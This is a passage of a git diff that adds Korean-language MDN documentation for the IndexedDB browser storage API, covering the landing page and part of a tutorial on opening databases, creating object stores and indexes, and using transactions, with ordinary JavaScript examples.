덧붙여서, 다음과 같은 조건에서 브라우저가 데이터베이스를 지울 수 있음을 알아두라:

+ + + +

실제 환경과 브라우저 호환성은 시간에 따라 변하지만, 브라우저 제조사의 기본 철학은 가능한한 데이터를 유지하는 데에 최대한 노력하는 것이다.

+ +

Next steps

+ +

자 이제 이들 지식을 가지고서 , 우리는 더 큰 것들을 가질 수 있게 되었다.the API 사용법에 대한 튜토리얼을 위해서, Using IndexedDB를 보라.

+ +

함께 보기

+ +

 

+ + + +

 

diff --git a/files/ko/web/api/indexeddb_api/index.html b/files/ko/web/api/indexeddb_api/index.html new file mode 100644 index 0000000000..4b9e381843 --- /dev/null +++ b/files/ko/web/api/indexeddb_api/index.html @@ -0,0 +1,157 @@ +--- +title: IndexedDB +slug: Web/API/IndexedDB_API +tags: + - API + - Advanced + - Database + - IndexedDB + - Landing + - Reference + - Storage +translation_of: Web/API/IndexedDB_API +--- +
{{DefaultAPISidebar("IndexedDB")}}
+ +

IndexedDB는 파일이나 블롭 등 많은 양의 구조화된 데이터를 클라이언트에 저장하기 위한 로우 레벨 API입니다. IndexedDB API는 인덱스를 사용해 데이터를 고성능으로 탐색할 수 있습니다. Web Storage는 적은 양의 데이터를 저장하는데 유용하지만 많은 양의 구조화된 데이터에는 적합하지 않은데, 이런 상황에서 IndexedDB를 사용할 수 있습니다. 이 페이지는 MDN에서 IndexedDB에 대한 내용을 다루는 시작 문서로 전체 API 참고서, 사용 안내서, 세부적인 브라우저 지원 상황, 그리고 핵심 개념에 대한 설명을 제공하는 링크를 찾을 수 있습니다.

+ +

{{AvailableInWorkers}}

+ +
+

참고: IndexedDB API는 강력하지만, 간단하게 사용하기엔 좀 복잡해 보일 수 있습니다. 보다 단순한 API를 선호한다면, IndexDB를 좀 더 프로그래머 친화적으로 만들어주는 localForage, dexie.js, ZangoDB, PouchDB, idb, idb-keyval, JsStore 같은 라이브러리를 알아보세요.

+
+ +

핵심 개념과 사용

+ +

IndexedDB는 SQL을 사용하는 관계형 데이터베이스(RDBMS)와 같이 트랜잭션을 사용하는 데이터베이스 시스템입니다. 그러나 IndexedDB는 RDBMS의 고정컬럼 테이블 대신 JavaScript 기반의 객체지향 데이터베이스입니다. IndexedDB의 데이터는 인덱스 를 사용해 저장하고 회수할 수 있으며, 구조화된 복사 알고리즘을 지원하는 객체라면 모두 저장할 수 있습니다. 사용하려면 데이터베이스 스키마를 지정하고, 데이터베이스와 통신을 연 후에, 일련의 트랜잭션을 통해 데이터를 가져오거나 업데이트해야 합니다.

+ + + +
+

참고: 대부분의 웹 저장 솔루션처럼, IndexedDB도 동일 출처 정책을 따릅니다. 그렇기 때문에, 저장한 데이터는 같은 도메인에서만 접근할 수 있으며 다른 도메인에서는 접근할 수 없습니다.

+
+ +

동기와 비동기

+ +

IndexedDB 작업은 애플리케이션 블록을 방지하기 위해 모두 비동기로 이뤄집니다. 이전엔 동기적 API와 비동기적 API 모두 있었으며, 동기적 API는 웹 워커에서만 사용할 용도였습니다. 그러나 그 필요성에 대한 의문으로 인해 명세에서 제거된 상황입니다. 다만 충분한 수요가 있다면 동기적 API가 미래에 다시 추가될 수도 있습니다.

+ +

저장 용량 한도와 제거 기준

+ +

하나의 종류 또는 다른 종류의 데이터를 클라이언트 측(즉, 로컬 디스크 상)에 저장하는 웹 기술은 많습니다. IndexedDB는 가장 일반적으로 언급되는 것입니다. 브라우저가 얼마만큼의 공간을 web data storage에 할당할지 그리고 용량이 한계에 도달했을 때 무엇을 지울지의 프로세스는 간단하지 않고, 브라우저마다 다릅니다. 브라우저 저장 공간 제한과 퇴거 기준을 Firefox의 경우 이 작동 방식을 설명하려고 시도합니다.

+ +

인터페이스

+ +

To get access to a database, call open() on the indexedDB attribute of a window object. This method returns an {{domxref("IDBRequest")}} object; asynchronous operations communicate to the calling application by firing events on {{domxref("IDBRequest")}} objects.

+ +

데이터베이스 연결

+ +
+
{{domxref("IDBEnvironment")}}
+
Provides access to IndexedDB functionality. It is implemented by the {{domxref("window")}} and {{domxref("worker")}} objects. This interface isn't part of the 2.0 specification.
+
{{domxref("IDBFactory")}}
+
Provides access to a database. This is the interface implemented by the global object indexedDB and is therefore the entry point for the API.
+
{{domxref("IDBOpenDBRequest")}}
+
Represents a request to open a database.
+
{{domxref("IDBDatabase")}}
+
Represents a connection to a database. It's the only way to get a transaction on the database.
+
+ +

데이터 가져오기 및 수정하기

+ +
+
{{domxref("IDBTransaction")}}
+
Represents a transaction. You create a transaction on a database, specify the scope (such as which object stores you want to access), and determine the kind of access (read only or readwrite) that you want.
+
{{domxref("IDBRequest")}}
+
Generic interface that handles database requests and provides access to results.
+
{{domxref("IDBObjectStore")}}
+
Represents an object store that allows access to a set of data in an IndexedDB database, looked up via primary key.
+
{{domxref("IDBIndex")}}
+
Also allows access to a subset of data in an IndexedDB database, but uses an index to retrieve the record(s) rather than the primary key. This is sometimes faster than using {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBCursor")}}
+
Iterates over object stores and indexes.
+
{{domxref("IDBCursorWithValue")}}
+
Iterates over object stores and indexes and returns the cursor's current value.
+
{{domxref("IDBKeyRange")}}
+
Defines a key range that can be used to retrieve data from a database in a certain range.
+
{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}
+
Defines a key range that can be used to retrieve data from a database in a certain range, sorted according to the rules of the locale specified for a certain index (see createIndex()'s optionalParameters.). This interface isn't part of the 2.0 specification.
+
+ +

사용자 지정 이벤트 인터페이스

+ +

This specification fires events with the following custom interface:

+ +
+
{{domxref("IDBVersionChangeEvent")}}
+
The IDBVersionChangeEvent interface indicates that the version of the database has changed, as the result of an {{domxref("IDBOpenDBRequest.onupgradeneeded")}} event handler function.
+
+ +

폐기된 인터페이스

+ +

An early version of the specification also defined these now removed interfaces. They are still documented in case you need to update previously written code:

+ +
+
{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}
+
Represents a request to change the version of a database. The way to change the version of the database has since changed (by calling {{domxref("IDBFactory.open")}} without also calling {{domxref("IDBDatabase.setVersion")}}), and the interface {{domxref("IDBOpenDBRequest")}} now has the functionality of the removed {{domxref("IDBVersionChangeRequest")}}.
+
{{domxref("IDBDatabaseException")}} {{obsolete_inline}}
+
Represents exception conditions that can be encountered while performing database operations.
+
{{domxref("IDBTransactionSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBTransaction")}}.
+
{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBIndexSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBIndex")}}.
+
{{domxref("IDBFactorySync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBFactory")}}.
+
{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBEnvironment")}}.
+
{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBDatabase")}}.
+
{{domxref("IDBCursorSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBCursor")}}.
+
+ +

예제

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("IndexedDB 2")}}{{Spec2("IndexedDB 2")}}
{{SpecName('IndexedDB')}}{{Spec2('IndexedDB')}}Initial definition
+ +

같이 보기

+ + diff --git a/files/ko/web/api/indexeddb_api/using_indexeddb/index.html b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html new file mode 100644 index 0000000000..13fe4e6ea4 --- /dev/null +++ b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html @@ -0,0 +1,1325 @@ +--- +title: IndexedDB 사용하기 +slug: Web/API/IndexedDB_API/Using_IndexedDB +translation_of: Web/API/IndexedDB_API/Using_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +

IndexedDB는 사용자의 브라우저에 데이터를 영구적으로 저장할 수 있는 방법 중 하나입니다. IndexedDB를 사용하여 네트워크 상태에 상관없이 풍부한 쿼리 기능을 이용할 수 있는 웹 어플리케이션을 만들 수 있기 때문에, 여러분의 웹 어플리케이션은 온라인과 오프라인 환경에서 모두 동작할 수 있습니다. 

+ +

이 문서에 대하여

+ +

여러분은 이 튜토리얼에서 IndexedDB의 비동기 방식(asynchronous) API에 대해 훑어볼 수 있습니다. 만약 IndexedDB가 생소하다면, Basic Concepts About IndexedDB 를 먼저 읽어보는 것이 좋습니다.

+ +

IndexedDB API에 대한 참조(reference) 문서를 원한다면, IndexedDB 항목과 하위 페이지를 보십시오. 이 문서에서는 IndexedDB에서 사용되는 객체의 종류와, 동기식(synchrounous), 비동기식(asynchronous) API에 대해서 기술하고 있습니다.

+ +

기본 패턴

+ +

IndexedDB가 권장하는 기본 패턴은 다음과 같습니다:

+ +
    +
  1. 데이터베이스를 엽니다.
  2. +
  3. 객체 저장소(Object store)를 생성합니다. 
  4. +
  5. 트랜젝션(Transaction)을 시작하고, 데이터를 추가하거나 읽어들이는 등의 데이터베이스 작업을 요청합니다.
  6. +
  7. DOM 이벤트 리스너를 사용하여 요청이 완료될때까지 기다립니다.
  8. +
  9. (요청 객체에서 찾을 수 있는) 결과를 가지고 무언가를 합니다.
  10. +
+ +

그러면 이제, 이런 큰 개념을 익히면 더 구체적인 것을 할 수 있습니다.

+ +

저장소를 생성하고 구성하기

+ +

Indexed DB 의 실험적인 버전을 사용해보기

+ +

접두어를 사용하는 브라우저에서 코드를 테스트하려는 경우 다음 코드를 사용할 수 있습니다.

+ +
// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)
+ +

접두어를 사용하여 구현하는 것은 버그가 있거나 불완전하거나 이전 버전의 사양을 따르는 경우가 있습니다. 따라서 프로덕션 상태의 코드에선 사용하지 않는 것을 권장합니다. 제대로 지원하지 않는 브라우저를 지원하게 구현하여 실패하는 것보다 미지원 하는 것이 바람직할 수 있습니다.:

+ +
if (!window.indexedDB) {
+    window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.")
+}
+
+ +

데이터베이스 열기

+ +

우리는 밑의 프로그래밍 코드로 시작할 것입니다:

+ +
// 내 데이터 베이스를 열도록 요청하자
+var request = window.indexedDB.open("MyTestDatabase");
+
+ +

보셨나요? 데이터베이스 접속은 다른 operation 들과 비슷합니다 — 당신은 "요청(request)" 하면 됩니다.

+ +

open 요청은 데이터베이스를 즉시 열거나 즉시 트랜잭션을 시작하지 않습니다.  open() 함수를 호출하면 이벤트로 처리한 결과(성공 상태)나 오류 값이 있는 IDBOpenDBRequest 객체를 반환합니다. IndexedDB의 다른 비동기 함수 대부분은 결과 또는 오류가 있는 IDBRequest 객체를 반환합니다. open() 함수의 결과는 IDBDatabase 의 인스턴스입니다.

+ +

open 메소드의 두번째 매개 변수는 데이터베이스의 버전입니다. 데이터베이스의 버전은 데이터베이스 스키마를 결정합니다. 데이터베이스 스키마는 데이터베이스 안의 객체 저장소와 그것들의 구조를 결정합니다. 데이터베이스가 아직 존재하지 않으면, open operation에 의해 생성되고, 그 다음 onupgradeneeded  이벤트가 트리거되고 이 이벤트 안에서 데이터베이스 스키마를 작성합니다. 데이터베이스가 존재하지만 업그레이드 된 버전 번호를 지정하는 경우 onupgradeneeded 이벤트가 트리거되고 해당 핸들러에 업데이트된 스키마를 제공할 수 있습니다. 자세한 내용은 나중에 아래의 데이터베이스의 버전 업데이트와 {{ domxref("IDBFactory.open") }} 페이지를 참조하십시오. 

+ +
+

중요: 버전 번호는 unsigned long long 숫자입니다. 이는 버전 번호는 매우 큰 정수가 되어야한다는 의미입니다. 또한 부동 소수점을 사용할 수 없다는 것을 의미합니다. 그렇지 않으면 가장 가까운 정수로 변환되어 트랜잭션이 시작되지 않거나 upgradeneeded 이벤트가 트리거 되지 않습니다. 예를 들어, 2.4와 같은 버전 번호를 사용하지 마십시오:
+ var request = indexedDB.open("MyTestDatabase", 2.4); // don't do this, as the version will be rounded to 2

+
+ +

제어 객체 생성

+ +

첫번째로 당신이 하려는 모든 요청에 대해 성공했을 때 그리고 에러가 발생했을 때 제어를 할 객체를 요청해야 됩니다:

+ +
request.onerror = function(event) {
+  // request.errorCode 에 대해 무언가를 한다!
+};
+request.onsuccess = function(event) {
+  // request.result 에 대해 무언가를 한다!
+};
+ +

onsuccess() 또는 onerror() 두 함수 중 어떤 함수가 호출될까요? 모든 것이 성공하면, success 이벤트 (즉, type 속성이"success" 로 설정된 DOM 이벤트)가 request를 target으로 발생합니다. 일단 실행되면, request 의 onsuccess() 함수는 success 이벤트를 인수로 트리거됩니다. 반면, 문제가 있는 경우, 오류 이벤트 (즉 type 속성이"error" 로 설정된 DOM 이벤트)는 request에서 발생합니다. 이 오류 이벤트를 인수로 onerror() 함수가 트리거됩니다.

+ +

The IndexedDB API는 오류 처리의 필요성을 최소화하도록 설계되었기 때문에 많은 오류 이벤트를 볼 수는 없을 것입니다. (적어도 API에 익숙하지 않은 경우). 그러나 데이터베이스를 여는 경우 오류 이벤트를 발생하는 몇 가지 일반적인 조건이 있습니다. 가장 많은 문제는 사용자가 웹 응용 프로그램에 데이터베이스를 만들 수 있는 권한을 주지 않기로 결정한 것입니다. IndexedDB의 주요 설계 목표 중 하나는 많은 양의 데이터를 오프라인에서 사용할 수 있도록 하는 것입니다. (각 브라우저에서 저장할 수 있는 저장 용량에 대한 자세한 내용은 Storage limits 를 참조하십시오.)  

+ +

일부 광고 네트워크나 악의적인 웹 사이트가 컴퓨터를 오염시키는 것을 브라우저는 원하지 않기 때문에 브라우저는 특정 웹 응용 프로그램이 처음으로 저장용 IndexedDB를 열려고 할 때 사용자에게 메시지를 보냅니다. 사용자가 액세스를 허용하거나 거부할 수 있습니다. 또한, 개인정보 보호 모드의 브라우저에서 IndexedDB 공간은 시크릿 세션이 닫힐 때까지 메모리 내에서만 지속됩니다. (Firefox의 개인정보 보호 브라우징 모드와 Chrome 의 시크릿 모드가 있지만, Firefox 의 경우 2015년 11월 현재 아직 미구현({{Bug("781982")}} 참조)이므로, 개인정보 보호 브라우징 모드의 Firefox에서는 IndexedDB를 사용할 수 없습니다).

+ +

이제, 사용자가 데이터베이스 생성 요청을 허용하여 success 콜백을 트리거하는 success 이벤트를 받았다고 가정합니다; 그 다음은 무엇을 해야할까요? 이 요청은 indexedDB.open()을 호출하여 생성되었고, request.result 는 IDBDatabase 의 인스턴스이므로, 이후에 이것을 사용하기 위해 저장하기 원할 것은 확실합니다. 코드는 다음과 같이 할 수 있습니다:

+ +
var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = request.result;
+};
+
+ +

에러 처리

+ +

위에서 언급한 바와 같이, 오류 이벤트는 버블링됩니다. 오류 이벤트는 오류를 생성한 request를 대상으로하며, 이벤트는 트랜잭션으로 버블링되고, 마지막으로 데이터베이스 객체로 버블링됩니다. 모든 요청에 에러 처리를 피하고 싶은 경우, 아래와 같이 하나의 오류 핸들러를 데이터베이스 객체에 추가하여 대신할 수 있습니다:

+ +
db.onerror = function(event) {
+  // Generic error handler for all errors targeted at this database's
+  // requests!
+  alert("Database error: " + event.target.errorCode);
+};
+
+ +

데이터베이스를 열 때 자주 발생하는 오류 중 하나가 VER_ERR가 있습니다. 이는 디스크에 저장된 데이터베이스의 버전이 현재 코드에서 지정된 버전 번호보다 큼을 나타냅니다. 이 오류는 항상 오류 처리기에서 처리해야합니다.

+ +

데이터베이스의 버전 생성 또는 업데이트

+ +

새로운 데이터베이스를 만들거나 기존 데이터베이스의 버전 번호를 높일 때({{ anch("데이터베이스 열기") }}시, 이전 버전보다 높은 버전 번호를 지정하면), onupgradeneeded 가 트리거되고 request.result(즉, 아래의 예제 : db)에 설정된 onversionchange 이벤트 핸들러에 IDBVersionChangeEvent 객체가 전달됩니다. upgradeneeded 이벤트 처리기에서 이 버전의 데이터베이스에 필요한 객체 저장소를 만들어야합니다:

+ +
// This event is only implemented in recent browsers
+request.onupgradeneeded = function(event) {
+  // Save the IDBDatabase interface
+  var db = event.target.result;
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};
+
+ +

이 경우 데이터베이스에는 이전 버전의 데이터베이스에 있는 객체 저장소가 이미 있으므로, 이전 버전의 객체 저장소를 다시 만들 필요가 없습니다. 여러분은 새로운 객체 저장소를 만들거나 더 이상 필요하지 않은 이전 버전의 객체 저장소만 삭제하면 됩니다. 기존 객체 저장소를 변경(예, keyPath를 변경) 해아 하는 경우, 이전 객체 저장소를 삭제하고 새 옵션으로 다시 만들어야합니다. (이것은 객체 저장소의 정보를 삭제하니 주의하십시오! 해당 정보를 보존해야하는 경우 데이터베이스를 업그레이드하기 전에 해당 정보를 읽고 다른 곳에 저장해야 합니다.)

+ +

이미 존재하는 이름으로 객체 저장소를 만들려고 하면 (또는 존재하지 않는 객체 저장소를 삭제하려고 하면) 오류가 발생합니다. 

+ +

onupgradeneeded 이벤트가 성공적으로 끝나면, 데이터베이스 열기 요청의 onsuccess 핸들러가 트리거 됩니다. 

+ +

Chrome 23+ 및 Opera 17+ 의 Blink/Webkit은 현재 버전의 스펙을 지원합니다. IE10+ 마찬가지입니다. 다른 구현체 또는 구형 구현체는 아직 스펙의 현재 버전을 구현하지 않으므로 indexedDB.open(name, version).onupgradeneeded 서명을 지원하지 않습니다. 이전 Webkit/Blink에서 데이터베이스 버전을 업그레이드하는 방법에 대한 자세한 내용은 IDBDatabase reference article 를 참조하십시오.

+ +

데이터베이스 구성

+ +

이제 데이터베이스를 구축합니다. IndexedDB는 테이블이 아닌 객체 저장소를 사용하며 하나의 데이터베이스는 여러 개의 객체 저장소를 포함할 수 있습니다. 값을 객체 저장소에 저장할 때마다 값은 키와 연관됩니다. 객체 저장소가 키 경로 또는 키 생성기 옵션의 사용 여부에 따라 키를 제공할 수 있는 여러 가지 방법이 있습니다.

+ +

다음 표는 키가 제공되는 다양한 방법을 보여줍니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
키 경로 (keyPath)키 생성기 (autoIncrement)Description
NoNo이 객체 저장소는 숫자 및 문자열과 같은 원시 값을 포함한 모든 종류의 값을 보유 할 수 있습니다. 새 값을 추가 할 때 마다 별도의 키 인수를 공급해야합니다.
YesNo이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 객체에는 키 경로와 같은 이름의 속성이 있어야합니다.
NoYes이 객체 저장소는 모든 종류의 값을 보유할 수 있습니다. 키가 자동으로 생성됩니다. 또한 특정 키를 사용하려는 경우 별도의 키 인수를 공급할 수 있습니다.
YesYes이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 일반적으로 키가 자동으로 생성되고 생성된 키의 값은 키 경로와 동일한 이름을 가진 속성의 객체에 저장됩니다. 그러나 그러한 속성이 이미 존재하는 경우, 새로운 키를 생성하는 것이 아닌 속성의 값을 키로 사용됩니다.
+ +

객체 저장소가 기본이 아닌 객체를 보유하고 있으면 객체 저장소에서 인덱스를 만들 수 있습니다. 인덱스를 사용하면 객체의 키가 아닌 저장된 객체의 속성 값을 사용하여 객체 저장소에 저장된 값을 검색할 수 있습니다.

+ +

또한, 인덱스에는 저장된 데이터에 대한 간단한 제약 조건을 적용 할 수 있는 기능이 있습니다. 인덱스를 작성할 때 고유(unique) 플래그를 설정하면, 인덱스는 인덱스의 키 경로에 대해 동일한 값을 갖는 두 개의 객체가 저장되지 않도록 보장합니다. 따라서 예를 들자면, 사람 집단을 보유하고 있는 객체 저장소가 있고, 두 사람이 동일한 email 주소를 갖지 못 한다는 것을 보장하려는 경우, 이를 강제하기 위해 고유(unique) 플래그 설정한 인덱스를 사용하면 됩니다.

+ +

이 부분은 혼란스러울 수도 있으므로 간단한 예제를 들어 설명하겠습니다. 먼저, 다음의 예에서 사용할 고객 데이터를 정의하겠습니다:

+ +
// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+ +

물론, 모든 사람이 사회 보장 번호(ssn)를 가지지 않기 때문에 ssn을 기본 키(primary key)로 지정하지 않을겁니다. 그리고 나이를 저장하는 대신 주로 생년월일을 저장하겠지만, 이러한 점은 편의를 위해 무시하고 지나가겠습니다. 

+ +

이제 자료를 저장하기 위해 indexedDB를 생성하는 과정을 보겠습니다:

+ +
const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique - or at least that's what I was told during the kickoff meeting.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Use transaction oncomplete to make sure the objectStore creation is
+  // finished before adding data into it.
+  objectStore.transaction.oncomplete = function(event) {
+    // Store values in the newly created objectStore.
+    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+    customerData.forEach(function(customer) {
+      customerObjectStore.add(customer);
+    });
+  };
+};
+ +

이전에 적었듯이, onupgradeneeded 는 데이터베이스의 구조를 변경할 수 있는 곳에 위치해야합니다. 이 이벤트 안에서 객체 저장소를 만들거나 삭제하고, 인덱스를 만들거나 지울 수 있습니다.

+ +

객체 저장소는 createObjectStore()를 한번 호출함으로써 생성됩니다. 이 메소드는 저장소의 이름과 파라미터 객체를 인자로 받습니다. 파라미터 객체는 선택적으로 사용할 수 있지만, 이는 중요한 설정들을 정의하고 만들고자하는 객체 저장소의 타입을 정의하기 때문에 매우 중요합니다. 이번 예시에서, 우리는 객체 저장소의 이름을 "customers"로 짓고 개별 객체들이 유일하게 저장되도록 만들어주는 특성인 keyPath를 정의합니다. 그리고 사회 보장 번호(ssn)는 고유함이 보장되기 때문에, keyPath로 예제의 ssn 프로퍼티를 사용하며 ssn은 objectStore 에 저장되는 모든 객체에 반드시 포함되어야 합니다.
+ 우리는 또한 저장된 객체의 name 프로퍼티를 찾기 위한 인덱스 "name"을 요청합니다.
+ 또한 createObjectStore()createIndex() 도 생성하려는 인덱스의 종류를 결정하는 선택적인 객체인 options 을 인자로 받습니다. name 프로퍼티가 없는 객체를 추가할 수는 있지만, 이 경우 그 객체는 "name" 인덱스에 나타나지 않습니다.

+ +

이제 우리는 저장된 customer 객체를 가져오기 위해 ssn 을 이용하여 객체 저장소로부터 바로 가져오거나, 인덱스에서 그들의 이름을 이용해 가져올 수 있습니다. 이 과정이 어떻게 이루어지는지 배우기 위해, using an index 섹션을 확인할 수 있습니다.

+ +

키 생성기 사용하기

+ +

객체 저장소를 생성할 때 autoIncrement 플래그를 설정함으로써 키 생성기를 활성화할 수 있습니다. 기본값으로 이 플래그는 설정되지 않습니다.

+ +

키 생성기가 활성화되면, 객체 저장소에 값을 추가할 때 키가 자동으로 추가됩니다. 처음 생성되면 키 생성기의 값은 항상 1로 설정되고, 새로 생성되는 키는 기본적으로 이전 키에서 1을 더한 값이 됩니다. 키 생성기의 값은 트랜잭션이 취소되는 등 데이터베이스 작업이 복구되는게 아닌 한 절대 작아지지 않습니다. 그래서 레코드를 지우거나 객체 저장소의 모든 레코드를 지우더라도 해당 객체 저장소의 키 생성기에는 영향을 끼치지 않습니다.

+ +

우리는 아래와 같이 키 생성기와 함께 객체 저장소를 생성할 수 있습니다:

+ +
// Open the indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+    var db = event.target.result;
+
+    // Create another object store called "names" with the autoIncrement flag set as true.
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+    // The added records would be like:
+    // key : 1 => value : "Bill"
+    // key : 2 => value : "Donna"
+    customerData.forEach(function(customer) {
+        objStore.add(customer.name);
+    });
+};
+ +

키 생성기와 관련된 보다 많은 정보는 "W3C Key Generators" 를 참고해 주십시오.

+ +

데이터 추가, 검색 및 제거

+ +

새 데이터베이스에서 작업을 하기전에, 트랜잭션을 시작할 필요가 있습니다. 트랜잭션은 데이터베이스 객체 단위로 작동하므로 트랜잭션을 사용할 객체 저장소를 지정해줘야합니다. 트랜잭션에 들어오고 나면, 자료가 있는 객체 저장소에 접근할 수 있고 요청을 만들 수 있습니다. 다음으로, 데이터베이스에 변경점을 만들지, 혹은 읽기만 할지 결정해야합니다. 트랜잭션은 다음의 3가지 모드가 있습니다: readonlyreadwrite, 그리고 versionchange.

+ +

객체 저장소나 인덱스를 만들거나 삭제하는 작업을 포함하여 데이터베이스의 "schema"나 구조를 변경하기 위해서 트랜잭션은 반드시 versionchange 여야 합니다. 이 트랜잭션은 {{domxref("IDBFactory.open")}} 메소드를 version 과 함께 호출할 경우 시작됩니다. (최신 사양이 구현되지 않은 WebKit 브라우저에서는 {{domxref("IDBFactory.open")}} 메소드는 데이터베이스의 이름(name) 하나만 인자로 받습니다. 따라서 versionchange 트랜잭션을 수립하기 위해서 {{domxref("IDBVersionChangeRequest.setVersion")}} 를 호출해야 합니다.)

+ +

이미 존재하는 객체 저장소의 레코드를 읽기 위해서 트랜잭션은 readonly 혹은 readwrite 모드이면 됩니다. 이미 존재하는 객체 저장소에 변경점을 기록하기 위해서는 트랜잭션이 반드시 readwrite 모드여야합니다. 특정 트랜잭션은 {{domxref("IDBDatabase.transaction")}} 으로 열 수 있습니다. 이 메소드는 접근하고 싶은 객체 저장소들의 배열로 정의된 범위인 storeNames와 트랜잭션의 모드mode (readonly 혹은 readwrite), 2개의 인자를 받습니다. 이 메소드는 객체 저장소에 접근할 수 있는 {{domxref("IDBIndex.objectStore")}} 메소드를 포함한 트랜잭션 객체를 반환합니다. 모드가 지정되지 않는다면 기본적으로 트랜잭션은 readonly 모드로 열립니다.

+ +
+

Note: As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a readwrite transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the complete event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The completeevent may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further. If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see {{domxref("IDBDatabase.transaction")}}.

+
+ +

트랜잭션에서 적합한 범위와 모드를 사용함으로써 자료 접근을 빠르게 할 수 있습니다. 여기 두개의 팁이 있습니다:

+ + + +

데이터베이스에 데이터 추가

+ +

데이터베이스를 만들었다면, 데이터를 추가하고 싶을겁니다. 데이터 추가는 이렇게 할 수 있습니다:

+ +
var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);
+ +

transaction() 함수는 2개(1개는 옵션)의 인자를 받고 트랜잭션 객체를 반환합니다. 첫번째 인자는 트랜잭션이 확장될 객체 저장소의 목록입니다. 모든 객체 저장소에 대해 트랜잭션을 확장하고 싶다면 빈 배열을 넘겨줄 수 있습니다. 두번째 인자로 아무것도 넘기지 않는다면, 읽기 전용 트랜잭션이 반환됩니다. 쓰기 작업을 하고 싶다면, readwrite 플래그를 넘겨줘야 합니다.

+ +

계속해서 트랜잭션을 사용하기 위해서는 트랜잭션의 생애 주기에 대해 이해할 필요가 있습니다. 트랜잭션은 이벤트 루프(Event loop)와 매우 밀접하게 연관되어 있습니다. 만일 당신이 트랜잭션을 만들어 놓고 사용하지 않은 채 이벤트 루프로 돌아가게 된다면 트랜잭션은 비활성화 상태가 됩니다. 트랜잭션을 활성화 상태로 유지하는 유일한 방법은 트랜잭션에 그것을 요청하는 것 뿐입니다. 요청이 완료되면 DOM 이벤트가 발생하며, 트랜잭션에 대한 요청이 성공했다는 가정 하에 해당 요청에 대한 콜백(Callback)이 일어나기 전까지 트랜잭션의 수명을 연장할 수 있습니다.  만일 당신이 트랜잭션에 대한 연장 요청 없이 이벤트 루프로 돌아가려 한다면  트랜잭션은 곧 비활성화가 된 후, 계속해서 비활성 상태를 유지할 것입니다. 트랜잭션에 대한 요청이 계속되는 한 트랜잭션은 활성화 상태를 유지합니다. 트랜잭션의 생애 주기는 매우 단순하지만 당신이 이에 적응하는 데에는 다소 시간이 걸릴 수 있습니다. 다른 예제 몇 개를 더 확인하는 것을 권장합니다. 만일 당신의 프로그램에서 TRANSACTION_INACTIVE_ERR 라는 에러 코드가 나타나기 시작한다면, 뭔가 잘못되기 시작한 것입니다.

+ +

